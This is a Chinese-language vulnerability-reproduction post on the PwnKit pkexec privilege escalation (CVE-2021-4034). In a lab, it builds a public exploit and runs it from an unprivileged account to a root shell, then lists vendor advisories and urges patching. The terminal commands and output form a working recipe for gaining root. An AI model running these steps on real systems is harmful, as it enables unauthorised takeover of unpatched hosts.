【漏洞复现】利用CVE-2021-4034对Linux提权

介绍

CVE-2021-4034存在于Polkit的pkexec中，pkexec是一个类似sudo的SUID root程序，允许授权用户作为其它用户执行程序，如未指定程序则运行默认shell，如果未指定用户名，则将作为管理员用户root执行。该漏洞自2009年5月起便已经存在，受影响的Linux发行版包括Ubuntu、Debian、Fedora、CentOS等。
【已解决】目前各发行版最新版本以及Polkit最新版本均已修复，请立即更新系统版本或Polkit版本。

环境准备

下载CentOS-7-x86_64-DVD-1804.iso
https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main

提权复现

[cps@localhost ~]$ id cps
uid=1001(cps) gid=1001(cps) groups=1001(cps)
[cps@localhost ~]$ uname -r
3.10.0-862.el7.x86_64
[cps@localhost ~]$ uname -a
Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[cps@localhost ~]$ cd Desktop/
[cps@localhost Desktop]$ ls
CVE-2021-4034-main.zip
[cps@localhost Desktop]$ unzip CVE-2021-4034-main.zip 
Archive:  CVE-2021-4034-main.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
   creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore  
  inflating: CVE-2021-4034-main/LICENSE  
  inflating: CVE-2021-4034-main/Makefile  
  inflating: CVE-2021-4034-main/README.md  
  inflating: CVE-2021-4034-main/cve-2021-4034.c  
  inflating: CVE-2021-4034-main/cve-2021-4034.sh  
   creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile  
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c  
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c  
  inflating: CVE-2021-4034-main/pwnkit.c  
[cps@localhost Desktop]$ cd CVE-2021-4034-main/
[cps@localhost CVE-2021-4034-main]$ ls
cve-2021-4034.c  cve-2021-4034.sh  dry-run  LICENSE  Makefile  pwnkit.c  README.md
[cps@localhost CVE-2021-4034-main]$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
[cps@localhost CVE-2021-4034-main]$ ls
cve-2021-4034    cve-2021-4034.sh  gconv-modules  LICENSE   pwnkit.c   README.md
cve-2021-4034.c  dry-run           GCONV_PATH=.   Makefile  pwnkit.so
[cps@localhost CVE-2021-4034-main]$ whoami
cps
[cps@localhost CVE-2021-4034-main]$ id cps
uid=1001(cps) gid=1001(cps) groups=1001(cps)
[cps@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.2# whoami
root
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1001(cps) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2#                                                                                                                      

附：参考文档

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://ubuntu.com/security/CVE-2021-4034
https://access.redhat.com/security/cve/CVE-2021-4034
https://security-tracker.debian.org/tracker/CVE-2021-4034